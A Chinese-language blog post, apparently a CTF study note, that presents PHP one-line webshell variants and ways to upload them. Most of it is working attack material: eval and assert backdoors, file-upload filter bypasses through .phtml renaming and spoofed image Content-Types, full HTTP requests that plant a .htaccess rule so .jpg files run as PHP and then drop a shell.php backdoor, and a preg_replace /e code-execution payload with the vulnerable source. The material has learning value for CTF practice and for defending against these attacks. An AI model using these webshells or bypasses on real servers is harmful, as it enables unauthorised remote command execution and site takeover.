PHP一句话木马多种变形
环境:phpstudy_pro
一、上传常规木马
1)eval()函数
命令执行脚本:
//hacker.php
<?php
eval($_GET["cmd"]);
?>
浏览器访问:http://127.0.0.1/hacker.php?cmd=system('whoami');
传入的参数必须为PHP代码,既需要以分号结尾。
命令執行:cmd=system(whoami);
post方式:
<?php @eval($_POST['cmd']);?>
Content-Type: application/x-www-form-urlencoded
2)assert()函数
命令执行脚本:
//assert.php
<?php
@assert($_GET['cmd']);
?>
浏览器访问:http://127.0.0.1/assert.php?cmd=system("whoami")
assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
命令執行:cmd=system(whoami)
3)通过木马获取phpinfo信息:
<?php
//hacker.php
eval($_GET["cmd"]);
?>
浏览器访问:http://127.0.0.1/hacker.php?cmd=phpinfo();
// phpinfo.php
<?php
phpinfo()
?>
浏览器访问:http://127.0.0.1/phpinfo.php
二、绕过图片、< 检测上传木马
<script language='php'>eval($_POST['theoyu']);</script>
图片绕过:
- 修改
.php为.phtml - 修改
Content-Type: application/x-php为Content-Type: image/jpeg
------WebKitFormBoundaryZR3NohFpHxMDED09
Content-Disposition: form-data; name="file"; filename="gsl.phtml"
Content-Type: image/jpeg
GIF98
<script language='php'>eval($_POST['theoyu']);</script>
------WebKitFormBoundaryZR3NohFpHxMDED09
Content-Disposition: form-data; name="submit"
$
------WebKitFormBoundaryZR3NohFpHxMDED09--
使用中国蚁剑连接shell:



三、通过使用.htaccess将jpg当做php,上传木马
通过 fuzzing 发现,可以上传 .jpg、.html、.htaccess 文件,PHP 相关的文件均无法上传。
因此,可以选择上传 .htaccess 文件,让后端将所有 .jpg 文件都当作 PHP 文件进行处理。
点击查看代码
POST /upload.php HTTP/1.1
Host: e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Length: 366
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Sk1DZ94nzwAeYMU
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.200 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=31105bfc162d7bf0f9038bca5dbad899
Connection: keep-alive
------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png
<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>
------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="submit"
一键去世
------WebKitFormBoundary2Sk1DZ94nzwAeYMU--

随后,上传一个写入 PHP Webshell 的 jpg 文件,让用户访问该 jpg 文件时,就生成 shell.php 文件。
点击查看代码
POST /upload.php HTTP/1.1
Host: e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Sk1DZ94nzwAeYMU
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.200 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=31105bfc162d7bf0f9038bca5dbad899
Connection: keep-alive
------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="uploaded"; filename="shell.jpg"
Content-Type: image/png
<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST[cmd]) ?>'); ?>
------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="submit"
一键去世
------WebKitFormBoundary2Sk1DZ94nzwAeYMU--

四、preg_replace 函数/e模式的代码执行漏洞
当我们需要用到的参数,不能直接传入时,可以使用 \S*
\S*表示匹配非空格以外的所有字符 这也我们就能够匹配我们想要的命令执行函数了
?\S*=${getFlag()}&cmd=system('ls /');
${getFlag()}表示我们将代码中原本就有的一个函数作为参数,传入,cmd是该函数的参数
\S*会匹配所有参数

其中next.php源码
点击查看代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
参考:buuctf-web-[BJDCTF2020]ZJCTF,不过如此
参考:https://www.cnblogs.com/bugxf/p/16015227.html
https://blog.csdn.net/qq_63969018/article/details/130034186
https://www.cnblogs.com/imtaieee/p/18522721
如果你真心觉得文章写得不错,而且对你有所帮助,那就不妨小小打赏一下吧,如果囊中羞涩,不妨帮忙“推荐"一下,您的“推荐”和”打赏“将是我最大的写作动力!
本文版权归作者所有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接.

浙公网安备 33010602011771号